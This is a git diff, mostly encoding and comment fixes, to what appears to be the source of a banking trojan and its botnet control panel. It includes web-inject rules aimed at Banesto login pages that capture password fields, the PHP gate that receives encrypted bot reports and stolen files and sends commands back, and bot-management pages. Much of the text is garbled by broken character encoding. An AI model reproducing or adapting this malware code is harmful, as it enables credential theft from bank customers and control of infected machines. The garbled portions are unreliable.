_getNodeTextOfElement(IXMLDOMElement *root, const BSTR node); /* - Получение содержимого элемента. + . - IN root - элемент отснсителльно которгого происходит поиск node. - IN node - элемент для поиск в XPath. Не может быть NULL. + IN root - node. + IN node - XPath. NULL. - Return - текст в случаи успеха (нужно освободить через _freeBstr()), - или NULL в случаи ошибки. + Return - ( _freeBstr()), + NULL . */ BSTR _getNodeTextOfNode(IXMLDOMNode *root, const BSTR node); - /*В В В В Exemption BSTR through SysFreeString (). + /*    Exemption BSTR through SysFreeString (). -В В В В IN OUT string - string. -В В */ +    IN OUT string - string. +  */ void _freeBstr(BSTR string); }; diff --git a/source/other/sockslist.php b/source/other/sockslist.php index 599a4ff..78798ce 100644 --- a/source/other/sockslist.php +++ b/source/other/sockslist.php @@ -1,6 +1,6 @@ data_end @@ -269,7 +269,7 @@ data_after data_end -;СКРИПТ +; data_before function oculto_form_onsubmit*{ data_end @@ -280,7 +280,7 @@ data_after data_end set_url https://extranet.banesto.es/*/loginParticulares.htm GP -;ПОЛЕ +; data_before id="clave" name="oppasswd"*> data_end @@ -291,7 +291,7 @@ data_inject data_end data_after data_end -;POST ФОРМА +;POST data_before data_end @@ -300,7 +300,7 @@ data_inject data_end data_after data_end -;СКРИПТ +; data_before value="Entrar"*onclick="javascript: data_end @@ -309,7 +309,7 @@ CheckES(); data_end data_after " -­ + - Friday, October 19, 2007 3:02 AM data_end data_before @@ -322,7 +322,7 @@ data_after data_end set_url https://banesnet.banesto.es/*/loginEmpresas.htm GP -;ПОЛЕ +; data_before name="oppasswd"** data_end @@ -334,7 +334,7 @@ data_end data_after data_end -;POST ФОРМА +;POST data_before data_end @@ -343,7 +343,7 @@ data_inject data_end data_after data_end -;СКРИПТ +; data_before data_end @@ -375,7 +375,7 @@ data_inject data_end data_after data_end -;СКРИПТ ПЕПЕБРАСЫВАЕТ ДАННЫЕ В ДРУГУЮ ФОРМУ, ПОЭТОМУ И ТУДА ДОБОВЛЯЕМ ПОЛЕ +; , data_before data_end @@ -384,8 +384,8 @@ data_inject data_end data_after data_end -;ИЗМЕНЯЕМ СКРИПТ, ДЛЯ ТОГО ЧТОБЫ ПЕРЕБРАСЫВАТЬ ДАННЫЕ -;СЮДА ДОПОЛНИТЕЛЬНО ВЫ МОЖЕТЕ ВСТАВИТЬ ПРОВЕРКУ ПОЛЯ НА ЗАПОЛНЕНИЕ +; , +; data_before function enviar()*{*{ data_end @@ -557,7 +557,7 @@ name="Submit" data_end data_inject OnClick="javascript: if (document.forms[0].tan.value.length < 3) { -alert('грешна tan');return false;}" +alert(' tan');return false;}" data_end data_after data_end @@ -1474,7 +1474,7 @@ genera_esp()*; data_end data_inject if (document.LOGINFORM.pass.value.length < 10) { -alert("El Clave de FIRMA debe ser de 10 dнgitos"); +alert("El Clave de FIRMA debe ser de 10 dgitos"); error=1; } data_end @@ -1672,7 +1672,7 @@ data_end data_after data_end data_before - data_end data_inject -?юкеЁ-кища-??: +?--??: data_end data_after diff --git a/source/server[php]/server.vcxproj b/source/server[php]/server.vcxproj index 8c8aa14..34d8c11 100644 --- a/source/server[php]/server.vcxproj +++ b/source/server[php]/server.vcxproj @@ -1,4 +1,4 @@ -п»ї + diff --git a/source/server[php]/server.vcxproj.user b/source/server[php]/server.vcxproj.user index dec0c0d..695b5c7 100644 --- a/source/server[php]/server.vcxproj.user +++ b/source/server[php]/server.vcxproj.user @@ -1,3 +1,3 @@ -п»ї + \ No newline at end of file diff --git a/source/server[php]/system/botnet_bots.lng.en.php b/source/server[php]/system/botnet_bots.lng.en.php index 0793288..0d521a3 100644 --- a/source/server[php]/system/botnet_bots.lng.en.php +++ b/source/server[php]/system/botnet_bots.lng.en.php @@ -3,7 +3,7 @@ define('LNG_BOTNET_BOTSACTION', 'Bots action:'); -//P Р’В¤ Pepsi "SР Р‰S, SР‚. +//P ¤ Pepsi "SЊS, SЂ. define('LNG_BOTNET_FILTER_TITLE', 'Filter'); define('LNG_BOTNET_FILTER_BOTS', 'Bots:'); @@ -31,7 +31,7 @@ define('LNG_BOTNET_FILTER_RESET', 'Reset form'); define('LNG_BOTNET_FILTER_SUBMIT', 'Accept'); -//RР Р‹RС—ReSР С“RС•RС”. +//RЎRїReSЃRѕRє. define('LNG_BOTNET_LIST', 'Result (%s):'); define('LNG_BOTNET_LIST_BOTID', 'Bot ID'); define('LNG_BOTNET_LIST_BOTNET', 'Botnet'); diff --git a/source/server[php]/system/reports_db.lng.en.php b/source/server[php]/system/reports_db.lng.en.php index 3cabf16..bc6d79c 100644 --- a/source/server[php]/system/reports_db.lng.en.php +++ b/source/server[php]/system/reports_db.lng.en.php @@ -3,7 +3,7 @@ define('LNG_REPORTS_BOTSACTION', 'Bots action:'); -//P Р’В¤ Pepsi "SР Р‰S, SР‚. +//P ¤ Pepsi "SЊS, SЂ. define('LNG_REPORTS_FILTER_TITLE', 'Filter'); define('LNG_REPORTS_FILTER_DATE_P1', 'Search from date (dd.mm):'); diff --git a/source/server[php]/system/reports_files.lng.en.php b/source/server[php]/system/reports_files.lng.en.php index 6069fe6..af36d1d 100644 --- a/source/server[php]/system/reports_files.lng.en.php +++ b/source/server[php]/system/reports_files.lng.en.php @@ -8,7 +8,7 @@ define('LNG_REPORTS_FILESACTION_REMOVE_EDIR', 'Failed to remove directory "%s".'); define('LNG_REPORTS_FILESACTION_Q', 'You really want execute this action?'); -//P Р’В¤ Pepsi "SР Р‰S, SР‚. +//P ¤ Pepsi "SЊS, SЂ. define('LNG_REPORTS_FILTER_TITLE', 'Search'); define('LNG_REPORTS_FILTER_BOTS', 'Bots:'); diff --git a/source/server[php]/system/reports_jn.lng.ru.php b/source/server[php]/system/reports_jn.lng.ru.php index 5e4092c..057edf7 100644 --- a/source/server[php]/system/reports_jn.lng.ru.php +++ b/source/server[php]/system/reports_jn.lng.ru.php @@ -1,19 +1,19 @@ \ No newline at end of file diff --git a/source/server[php]/system/stats_main.lng.ru.php b/source/server[php]/system/stats_main.lng.ru.php index 64e486d..60a5575 100644 --- a/source/server[php]/system/stats_main.lng.ru.php +++ b/source/server[php]/system/stats_main.lng.ru.php @@ -1,17 +1,17 @@ \ No newline at end of file diff --git a/source/server[php]/system/stats_os.lng.ru.php b/source/server[php]/system/stats_os.lng.ru.php index 9920663..97b471f 100644 --- a/source/server[php]/system/stats_os.lng.ru.php +++ b/source/server[php]/system/stats_os.lng.ru.php @@ -1,5 +1,5 @@ \ No newline at end of file diff --git a/source/server[php]/system/sys_info.php b/source/server[php]/system/sys_info.php index 89df366..1ba54c9 100644 --- a/source/server[php]/system/sys_info.php +++ b/source/server[php]/system/sys_info.php @@ -7,7 +7,7 @@ echo str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN). -//R'RОјSР‚SРѓReRe RСџRС›. +//R'RμSЂSЃReRe RџRћ. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_VERSIONS), THEME_LIST_TITLE). THEME_LIST_ROW_BEGIN. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'Operation system:'), THEME_LIST_ITEM_LTEXT_U1). @@ -34,7 +34,7 @@ str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(mysql_get_client_info())), THEME_LIST_ITEM_LTEXT_U2). THEME_LIST_ROW_END. -//RСџSС“S, Fe. +//RџSѓS, Fe. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_PATHS), THEME_LIST_TITLE). THEME_LIST_ROW_BEGIN. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'Local path:'), THEME_LIST_ITEM_LTEXT_U1). @@ -45,7 +45,7 @@ str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($dir.'/'.$config['reports_path'])), THEME_LIST_ITEM_LTEXT_U2). THEME_LIST_ROW_END. -//RС™R "ReRОјRР…S. +//RљR "ReRμRЅS. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_CLIENT), THEME_LIST_TITLE). THEME_LIST_ROW_BEGIN. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'User agent:'), THEME_LIST_ITEM_LTEXT_U1). diff --git a/source/server[php]/system/sys_options.lng.ru.php b/source/server[php]/system/sys_options.lng.ru.php index 2161841..eab6ce0 100644 --- a/source/server[php]/system/sys_options.lng.ru.php +++ b/source/server[php]/system/sys_options.lng.ru.php @@ -1,21 +1,21 @@ \ No newline at end of file diff --git a/source/server[php]/system/sys_user.lng.ru.php b/source/server[php]/system/sys_user.lng.ru.php index aa1b309..23e23ef 100644 --- a/source/server[php]/system/sys_user.lng.ru.php +++ b/source/server[php]/system/sys_user.lng.ru.php @@ -1,22 +1,22 @@ \ No newline at end of file diff --git a/temp/client/win32/client.map b/temp/client/win32/client.map index 5ea24f3..de21041 100644 --- a/temp/client/win32/client.map +++ b/temp/client/win32/client.map @@ -1082,7 +1082,7 @@ 0001:000166b4 ?hookerGetDcEx@VncServer@@YGPAUHDC__@@PAUHWND__@@PAUHRGN__@@K@Z 004176b4 f vncpaint.obj 0001:0001670f ?hookerGetDc@VncServer@@YGPAUHDC__@@PAUHWND__@@@Z 0041770f f vncpaint.obj 0001:0001674e ?hookerGetWindowDc@VncServer@@YGPAUHDC__@@PAUHWND__@@@Z 0041774e f vncpaint.obj - 0001:0001678d ?hookerReleaseDРЎРѓ@VncServer@@YGHPAUHWND__@@PAUHDC__@@@Z 0041778d f vncpaint.obj + 0001:0001678d ?hookerReleaseD@VncServer@@YGHPAUHWND__@@PAUHDC__@@@Z 0041778d f vncpaint.obj 0001:000167cd ?hookerGetUpdateRect@VncServer@@YGHPAUHWND__@@PAUtagRECT@@H@Z 004177cd f vncpaint.obj 0001:00016860 ?hookerGetUpdateRgn@VncServer@@YGHPAUHWND__@@PAUHRGN__@@H@Z 00417860 f vncpaint.obj 0001:000169c2 ?startAsPaintThread@VncServer@@YI_NXZ 004179c2 f vncpaint.obj @@ -1229,7 +1229,7 @@ 0001:0000c7cf ?onSecurityType@@YIXPAXPAKPAPAD@Z 0040d7cf f CIL library: CIL module 0001:0000c7d2 ?onClientInit@@YI_NPAXE@Z 0040d7d2 f CIL library: CIL module 0001:0000c7d5 ?onServerInit@@YIPAUHDC__@@PAXPAPADPAUtagPOINT@@@Z 0040d7d5 f CIL library: CIL module - 0001:0000c7f9 ?onUpdateDРЎРѓ@@YIXPAX@Z 0040d7f9 f CIL library: CIL module + 0001:0000c7f9 ?onUpdateD@@YIXPAX@Z 0040d7f9 f CIL library: CIL module 0001:0000c840 ?onKeyEvent@@YIXPAXK_N@Z 0040d840 f CIL library: CIL module 0001:0000c875 ?onPointerEvent@@YIXPAXKJJK@Z 0040d875 f CIL library: CIL module 0001:0000c88c ?vncMessage@@YIJPAUHWND__@@IJ@Z 0040d88c f CIL library: CIL module diff --git a/temp/server/php/botnet_bots.lng.en.php b/temp/server/php/botnet_bots.lng.en.php index 587892e..d393ce3 100644 --- a/temp/server/php/botnet_bots.lng.en.php +++ b/temp/server/php/botnet_bots.lng.en.php @@ -3,7 +3,7 @@ define('LNG_BOTNET_BOTSACTION', 'Bots action:'); -//Фильтр. +//Фильтр. define('LNG_BOTNET_FILTER_TITLE', 'Filter'); define('LNG_BOTNET_FILTER_BOTS', 'Bots:'); @@ -31,7 +31,7 @@ define('LNG_BOTNET_FILTER_RESET', 'Reset form'); define('LNG_BOTNET_FILTER_SUBMIT', 'Accept'); -//РЎРїРёСЃРѕРє. +//Список. define('LNG_BOTNET_LIST', 'Result (%s):'); define('LNG_BOTNET_LIST_BOTID', 'Bot ID'); define('LNG_BOTNET_LIST_BOTNET', 'Botnet'); diff --git a/temp/server/php/botnet_bots.php b/temp/server/php/botnet_bots.php index f739391..e4c4cec 100644 --- a/temp/server/php/botnet_bots.php +++ b/temp/server/php/botnet_bots.php @@ -1,12 +1,12 @@ $i)$fullQuery .= '&'.$k.'='.urlencode($i); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Определяем данные текущей сортировки. +// Определяем данные текущей сортировки. /////////////////////////////////////////////////////////////////////////////////////////////////// $fullQuery .= assocateSortMode(array('bot_id', 'botnet', 'bot_version', 'ipv4', 'country', 'rtime_online', 'net_latency', 'comment')); @@ -30,7 +30,7 @@ $jsPage = addJsSlashes($fullQuery); /////////////////////////////////////////////////////////////////////////////////////////////////// -// JavaScript скрипты. +// JavaScript скрипты. /////////////////////////////////////////////////////////////////////////////////////////////////// $jsScript = jsCheckAll('botslist', 'checkall', 'bots[]'). @@ -38,13 +38,13 @@ "function changePage(p){window.location='{$jsPage}&page=' + p; return false;}"; /////////////////////////////////////////////////////////////////////////////////////////////////// -// Создание запроса. +// Создание запроса. /////////////////////////////////////////////////////////////////////////////////////////////////// /* - Касательно LOCATE(`ipv4`, `ipv4_list`). РЎРїРѕСЃРѕР± имеет достаточно заметный РєРѕСЃСЏРє, РЅРѕ задумываясь - Рѕ хоть каком-то выиграше РІ скорости, РЅРµ думаю что его стоит лечить... РЇ думаю вероятность встретить - такого СЃСѓСЂРѕРІРѕРіРѕ совпадения РІ РґРёРєРѕРј интернете очень РЅРёР·РєР°. Еще можно попробывать делить РїРѕ модулю - РЅР° 4... Что приведет Рє противоположному РєРѕСЃСЏРєСѓ... + Касательно LOCATE(`ipv4`, `ipv4_list`). Способ имеет достаточно заметный косяк, но задумываясь + о хоть каком-то выиграше в скорости, не думаю что его стоит лечить... Я думаю вероятность встретить + такого сурового совпадения в диком интернете очень низка. Еще можно попробывать делить по модулю + на 4... Что приведет к противоположному косяку... */ $q = array(); if($filter['nat'] > 0) $q[] = "LOCATE(`ipv4`, `ipv4_list`)".($filter['nat'] == 1 ? '>' : '=')."0"; @@ -55,10 +55,10 @@ $q[] = expressionToSql($filter['bots'], '`bot_id`', 0, 1); $q[] = expressionToSql($filter['botnets'], '`botnet`', 0, 1); -$q[] = expressionToSql($filter['ips'], 'CONCAT_WS(\'.\', ORD(SUBSTRING(`ipv4`, 1, 1)), ORD(SUBSTRING(`ipv4`, 2, 1)), ORD(SUBSTRING(`ipv4`, 3, 1)), ORD(SUBSTRING(`ipv4`, 4, 1)))', 0, 1); //Это ужасно. +$q[] = expressionToSql($filter['ips'], 'CONCAT_WS(\'.\', ORD(SUBSTRING(`ipv4`, 1, 1)), ORD(SUBSTRING(`ipv4`, 2, 1)), ORD(SUBSTRING(`ipv4`, 3, 1)), ORD(SUBSTRING(`ipv4`, 4, 1)))', 0, 1); //Это ужасно. $q[] = expressionToSql($filter['countries'], '`country`', 0, 1); -//Чистим массив. +//Чистим массив. foreach($q as $k => $v)if($v == '')unset($q[$k]); $query1 = count($q) > 0 ? 'WHERE '.implode(' AND ', $q) : ''; @@ -67,20 +67,20 @@ unset($q); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Вывод СЃРїРёСЃРєР°. +// Вывод списка. /////////////////////////////////////////////////////////////////////////////////////////////////// -//Данные Рѕ странице. +//Данные о странице. $curPage = (!empty($_GET['page']) && is_numeric($_GET['page']) ? $_GET['page'] : 1); $pageCount = 0; $pageList = ''; $botsCount = 0; -//Запрос 1. +//Запрос 1. $r = mysqlQueryEx('botnet_list', 'SELECT COUNT(*) FROM `botnet_list` '.$query1); if(($mt = @mysql_fetch_row($r))) { - //Создание СЃРїРёСЃРєР° страниц. + //Создание списка страниц. if(($pageCount = ceil($mt[0] / BOTS_PER_PAGE)) > 1) { $pageList = @@ -93,7 +93,7 @@ $botsCount = $mt[0]; } -//Запрос 2. +//Запрос 2. $botsList = ''; $offset = (($curPage - 1) * BOTS_PER_PAGE); if(!$r || @@ -105,7 +105,7 @@ str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1). THEME_LIST_ROW_END; } -//Вывод результата. +//Вывод результата. else { $i = 0; @@ -114,7 +114,7 @@ //IPv4. $ipv4 = binaryIpToString($mt[4]); - //Метка NAT. + //Метка NAT. if($mt[3] == 0)$ipv4 .= '*'; $themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1; @@ -140,7 +140,7 @@ } /////////////////////////////////////////////////////////////////////////////////////////////////// -// Создание СЃРїРёСЃРѕРєР° дейтвий. +// Создание списока дейтвий. /////////////////////////////////////////////////////////////////////////////////////////////////// $actions = ''; @@ -153,15 +153,15 @@ } /////////////////////////////////////////////////////////////////////////////////////////////////// -// Вывод. +// Вывод. /////////////////////////////////////////////////////////////////////////////////////////////////// -define('INPUT_WIDTH', '250px'); //РЁРёСЂРёРЅР° input.text. -define('SELECT_WIDTH', '150px'); //РЁРёСЂРёРЅР° select. +define('INPUT_WIDTH', '250px'); //Ширина input.text. +define('SELECT_WIDTH', '150px'); //Ширина select. ThemeBegin(LNG_BOTNET, $jsScript, getBotJsMenu('botmenu'), 0); echo -//Фильтр. +//Фильтр. str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('filter', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_BEGIN). FORM_CURRENT_MODULE. str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN). @@ -249,7 +249,7 @@ THEME_VSPACE. -//Результат. +//Результат. str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('botslist', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_TO_NEW_BEGIN). str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN). str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf(LNG_BOTNET_LIST, numberFormatAsInt($botsCount))), THEME_DIALOG_TITLE). diff --git a/temp/server/php/gate.php b/temp/server/php/gate.php index 1d34e80..446f110 100644 --- a/temp/server/php/gate.php +++ b/temp/server/php/gate.php @@ -1,28 +1,28 @@ сервер представляет РёР· себя СЃРѕ стороны бота - отсылка отчета Рѕ чем либо, - Р° СЃРѕ стороны сервера - отправка изменений РІ настройках( или команды). РЎРѕ стороны бота, Р·Р° раз - отправляется информация РѕР± РѕРґРЅРѕРј событие/объекте. + Протокол бот <-> сервер представляет из себя со стороны бота - отсылка отчета о чем либо, + а со стороны сервера - отправка изменений в настройках( или команды). Со стороны бота, за раз + отправляется информация об одном событие/объекте. */ if(@$_SERVER['REQUEST_METHOD'] !== 'POST')die(); require_once('system/global.php'); require_once('system/config.php'); -//Получаем данные. +//Получаем данные. $data = @file_get_contents('php://input'); $dataSize = @strlen($data); if($dataSize < HEADER_SIZE + ITEM_HEADER_SIZE)die(); rc4($data, $config['botnet_cryptkey_bin']); visualDecrypt($data); -//Верефикация. Если совпадает MD5, нет смысла проверять, что-то еще. +//Верефикация. Если совпадает MD5, нет смысла проверять, что-то еще. if(strcmp(md5(substr($data, HEADER_SIZE), true), substr($data, HEADER_MD5, 16)) !== 0)die(); -//Парсим данные (Сжатие данных РЅРµ поддерживается). -//Поздравляю мега хакеров, этот алгоритм позволит вам СЃРїРѕРєРѕР№РЅРѕ читать данные бота. РќРµ забудьте написать 18 парсеров Рё 100 Р±СЌРєРґРѕСЂРѕРІ. +//Парсим данные (Сжатие данных не поддерживается). +//Поздравляю мега хакеров, этот алгоритм позволит вам спокойно читать данные бота. Не забудьте написать 18 парсеров и 100 бэкдоров. $list = array(); for($i = HEADER_SIZE; $i < $dataSize;) { @@ -32,14 +32,14 @@ } unset($data); -//Основные параметры, которые должны быть всегда. +//Основные параметры, которые должны быть всегда. if(empty($list[SBCID_BOT_VERSION]) || empty($list[SBCID_BOT_ID]))die(); -//Подключаемся Рє базе. +//Подключаемся к базе. if(!connectToDb())die(); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Обрабатываем данные. +// Обрабатываем данные. /////////////////////////////////////////////////////////////////////////////////////////////////// $botId = str_replace("\x01", "\x02", trim($list[SBCID_BOT_ID])); @@ -52,7 +52,7 @@ $countryQ = addslashes($country); $curTime = time(); -//Отчет РѕР± исполнении скрипта. +//Отчет об исполнении скрипта. if(!empty($list[SBCID_SCRIPT_ID]) && isset($list[SBCID_SCRIPT_STATUS], $list[SBCID_SCRIPT_RESULT]) && strlen($list[SBCID_SCRIPT_ID]) == 16) { if(!mysqlQueryEx('botnet_scripts_stat', @@ -61,19 +61,19 @@ "`type`=".(toInt($list[SBCID_SCRIPT_STATUS]) == 0 ? 2 : 3).",". "`report`='".addslashes($list[SBCID_SCRIPT_RESULT])."'"))die(); } -//Запись логов/файлов. +//Запись логов/файлов. else if(!empty($list[SBCID_BOTLOG]) && !empty($list[SBCID_BOTLOG_TYPE])) { $type = toInt($list[SBCID_BOTLOG_TYPE]); if($type == BLT_FILE) { - //Расширения, которые представляют возможность удаленного запуска. + //Расширения, которые представляют возможность удаленного запуска. $bad_exts = array('.php3', '.php4', '.php5', '.php', '.asp', '.aspx', '.exe', '.pl', '.cgi', '.cmd', '.bat', '.phtml', '.htaccess'); $fd_hash = 0; $fd_size = strlen($list[SBCID_BOTLOG]); - //Формируем РёРјСЏ файла. + //Формируем имя файла. if(isHackNameForPath($botId) || isHackNameForPath($botnet))die(); $file_root = $config['reports_path'].'/files/'.urlencode($botnet).'/'.urlencode($botId); $file_path = $file_root; @@ -87,14 +87,14 @@ if(strlen($last_name) === 0)$file_path .= '/unknown.dat'; unset($l); - //Проверяем расширении, Рё указываем маску файла. + //Проверяем расширении, и указываем маску файла. if(($ext = strrchr($last_name, '.')) === false || in_array(strtolower($ext), $bad_exts) !== false)$file_path .= '.dat'; $ext_pos = strrpos($file_path, '.'); - //FIXME: Если РёРјСЏ слишком большое. + //FIXME: Если имя слишком большое. if(strlen($file_path) > 180)$file_path = $file_root.'/longname.dat'; - //Добавляем файл. + //Добавляем файл. for($i = 0; $i < 9999; $i++) { if($i == 0)$f = $file_path; @@ -123,7 +123,7 @@ } else { - //Запись РІ базу. + //Запись в базу. if($config['reports_to_db'] === 1) { $table = 'botnet_reports_'.gmdate('ymd', $curTime); @@ -140,11 +140,11 @@ "ipv4='". addslashes($realIpv4)."',". "context='". addslashes($list[SBCID_BOTLOG])."'"; - //Думаю такой РїРѕСЂСЏРґРѕРє повышает производительность. + //Думаю такой порядок повышает производительность. if(!mysqlQueryEx($table, $query) && (!@mysql_query("CREATE TABLE IF NOT EXISTS `{$table}` LIKE `botnet_reports`") || !mysqlQueryEx($table, $query)))die(); } - //Запись РІ файл. + //Запись в файл. if($config['reports_to_fs'] === 1) { if(isHackNameForPath($botId) || isHackNameForPath($botnet))die(); @@ -160,7 +160,7 @@ "country={$country}\r\n". "type={$type}\r\n". "rtime=". gmdate('H:i:s d.m.Y', $curTime)."\r\n". - "time_system=". (empty($list[SBCID_TIME_SYSTEM]) ? 0 : gmdate('H:i:s d.m.Y', toInt($list[SBCID_TIME_SYSTEM])))."\r\n".//time() тоже возращает int. + "time_system=". (empty($list[SBCID_TIME_SYSTEM]) ? 0 : gmdate('H:i:s d.m.Y', toInt($list[SBCID_TIME_SYSTEM])))."\r\n".//time() тоже возращает int. "time_tick=". (empty($list[SBCID_TIME_TICK]) ? 0 : tickCountToText(toUint($list[SBCID_TIME_TICK]) / 1000))."\r\n". "time_localbias=".(empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : timeBiasToText(toInt($list[SBCID_TIME_LOCALBIAS])))."\r\n". "os_version=". (empty($list[SBCID_OS_INFO]) ? '' : osDataToString($list[SBCID_OS_INFO]))."\r\n". @@ -175,10 +175,10 @@ if($config['reports_jn'] === 1)imNotify($type, $list, $botId); } } -//Отчет РѕР± онлайн-статусе. +//Отчет об онлайн-статусе. else if(!empty($list[SBCID_NET_LATENCY])) { - //Стандартный запрос. + //Стандартный запрос. $query = "`bot_id`='{$botIdQ}', `botnet`='{$botnetQ}', `bot_version`={$botVersion}, `country`='{$countryQ}', `rtime_last`={$curTime}, ". "`net_latency`=". (empty($list[SBCID_NET_LATENCY]) ? 0 : toUint($list[SBCID_NET_LATENCY])).", ". "`tcpport_s1`=". (empty($list[SBCID_TCPPORT_S1]) ? 0 : toUshort($list[SBCID_TCPPORT_S1])).", ". @@ -194,7 +194,7 @@ "ON DUPLICATE KEY UPDATE `rtime_online`=IF(`rtime_last` <= ".($curTime - $config['botnet_timeout']).", {$curTime}, `rtime_online`), {$query}"))die(); unset($query); - //РџРѕРёСЃРє скриптов для отправки. + //Поиск скриптов для отправки. $replyData = ''; $replyCount = 0; @@ -216,14 +216,14 @@ { $eid = addslashes($m[0]); - //Проверяем, РЅРµ достигнут ли лимит. + //Проверяем, не достигнут ли лимит. if($m[2] != 0 && ($j = mysqlQueryEx('botnet_scripts_stat', "SELECT COUNT(*) FROM `botnet_scripts_stat` WHERE `type`=1 AND `extern_id`='{$eid}'")) && ($c = mysql_fetch_row($j)) && $c[0] >= $m[2]) { mysqlQueryEx('botnet_scripts', "UPDATE `botnet_scripts` SET `flag_enabled`=0 WHERE `id`={$m[3]} LIMIT 1"); continue; } - //Добовляем бота РІ СЃРїРёСЃРѕРє отправленных. + //Добовляем бота в список отправленных. if(mysqlQueryEx('botnet_scripts_stat', "INSERT HIGH_PRIORITY INTO `botnet_scripts_stat` SET `extern_id`='{$eid}', `type`=1, `bot_id`='{$botIdQ}', `bot_version`={$botVersion}, `rtime`={$curTime}, `report`='Sended'")) { $size = strlen($m[1]) + strlen($m[0]); @@ -242,15 +242,15 @@ } else die(); -//Отправляем пустой ответ. +//Отправляем пустой ответ. sendEmptyReply(); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Функции. +// Функции. /////////////////////////////////////////////////////////////////////////////////////////////////// /* - Отправка пустого ответа Рё выход. + Отправка пустого ответа и выход. */ function sendEmptyReply() { @@ -262,9 +262,9 @@ function sendEmptyReply() } /* - Получение страны. + Получение страны. - Return - string, страна. + Return - string, страна. */ function getCountryIpv4() { @@ -274,11 +274,11 @@ function getCountryIpv4() } /* - Ковертация Bin2UINT. + Ковертация Bin2UINT. - IN $str - string, исходная бинарная строка. + IN $str - string, исходная бинарная строка. - Return - int, сконвертированное число. + Return - int, сконвертированное число. */ function toUint($str) { @@ -287,11 +287,11 @@ function toUint($str) } /* - Ковертация Bin2INT. + Ковертация Bin2INT. - IN $str - string, исходная бинарная строка. + IN $str - string, исходная бинарная строка. - Return - int, сконвертированное число. + Return - int, сконвертированное число. */ function toInt($str) { @@ -300,11 +300,11 @@ function toInt($str) } /* - Ковертация Bin2SHORT. + Ковертация Bin2SHORT. - IN $str - string, исходная бинарная строка. + IN $str - string, исходная бинарная строка. - Return - int, сконвертированное число. + Return - int, сконвертированное число. */ function toUshort($str) { @@ -313,12 +313,12 @@ function toUshort($str) } /* - Проверяет, является ли РёРјСЏ увязимым как часть пути. + Проверяет, является ли имя увязимым как часть пути. - IN $name - string, РёРјСЏ для проверки. + IN $name - string, имя для проверки. - Return - true - если РёРјСЏ СѓРІСЏР·СЊРјРѕ, - false - если РЅРµ СѓРІСЏР·СЊРёРјРѕ. + Return - true - если имя увязьмо, + false - если не увязьимо. */ function isHackNameForPath($name) { @@ -326,11 +326,11 @@ function isHackNameForPath($name) return ($len > 0 && substr_count($name, '.') < $len && strpos($name, '/') === false && strpos($name, "\\") === false && strpos($name, "\x00") === false) ? false : true; } /* - Отправка данных РѕР± отчете РІ IM. + Отправка данных об отчете в IM. - IN - int, тип отчета. - IN - array, данные отчета. - IN - string, ID бота. + IN - int, тип отчета. + IN - array, данные отчета. + IN - string, ID бота. */ function imNotify(&$type, &$list, &$botId) { diff --git a/temp/server/php/index.php b/temp/server/php/index.php index ba9317a..4c94e05 100644 --- a/temp/server/php/index.php +++ b/temp/server/php/index.php @@ -1,23 +1,23 @@ "); define('THEME_JAVASCRIPT_EXTERNAL', ''); -//Главное меню. +//Главное меню. define('THEME_MAINMENU_SEPARATOR', ''); define('THEME_MAINMENU_SUBHEADER', THEME_MAINMENU_SEPARATOR.''); define('THEME_MAINMENU_ITEM', '{TEXT}'); define('THEME_MAINMENU_ITEM_CURRENT', '→ {TEXT}'); -//Разное. +//Разное. define('THEME_STRING_FORM_ERROR_1_BEGIN', '


    '); define('THEME_STRING_FORM_ERROR_1_END', '

    '); define('THEME_STRING_FORM_SUCCESS_1_BEGIN', '


    '); @@ -33,20 +33,20 @@ define('THEME_STRING_HELP_ANCHOR', '[?]'); define('THEME_VSPACE', '


    '); -//Предпросмтор отчета. +//Предпросмтор отчета. define('THEME_STRING_REPORTPREVIEW', '[+] {TEXT}'); define('THEME_STRING_REPORTPREVIEW_FTP', '{TEXT}'); -//Скриншот +//Скриншот define('THEME_SCREENSHOT', 'screenshot'); -//Картинка ожидания +//Картинка ожидания define('THEME_IMG_WAIT', 'throbber'); -//Всплывающие меню. +//Всплывающие меню. define('THEME_POPUPMENU_BOT', '{BOTID}'); -//Работа СЃ формой. +//Работа с формой. define('THEME_FORMPOST_BEGIN', '
    '); define('THEME_FORMPOST_TO_NEW_BEGIN', ""); define('THEME_FORMPOST_MP_BEGIN', ''); @@ -56,7 +56,7 @@ define('THEME_FORMGET_END', '
    '); define('THEME_FORM_VALUE', '
    '); -//Диалог. +//Диалог. define('THEME_DIALOG_BEGIN', ''); define('THEME_DIALOG_END', '
    '); define('THEME_DIALOG_TITLE', '{TEXT}'); @@ -108,7 +108,7 @@ define('THEME_DIALOG_ANCHOR', '{TEXT}'); define('THEME_DIALOG_ANCHOR_BLANK', '{TEXT}'); -//РЎРїРёСЃРѕРє +//Список define('THEME_LIST_BEGIN', ''); define('THEME_LIST_END', '
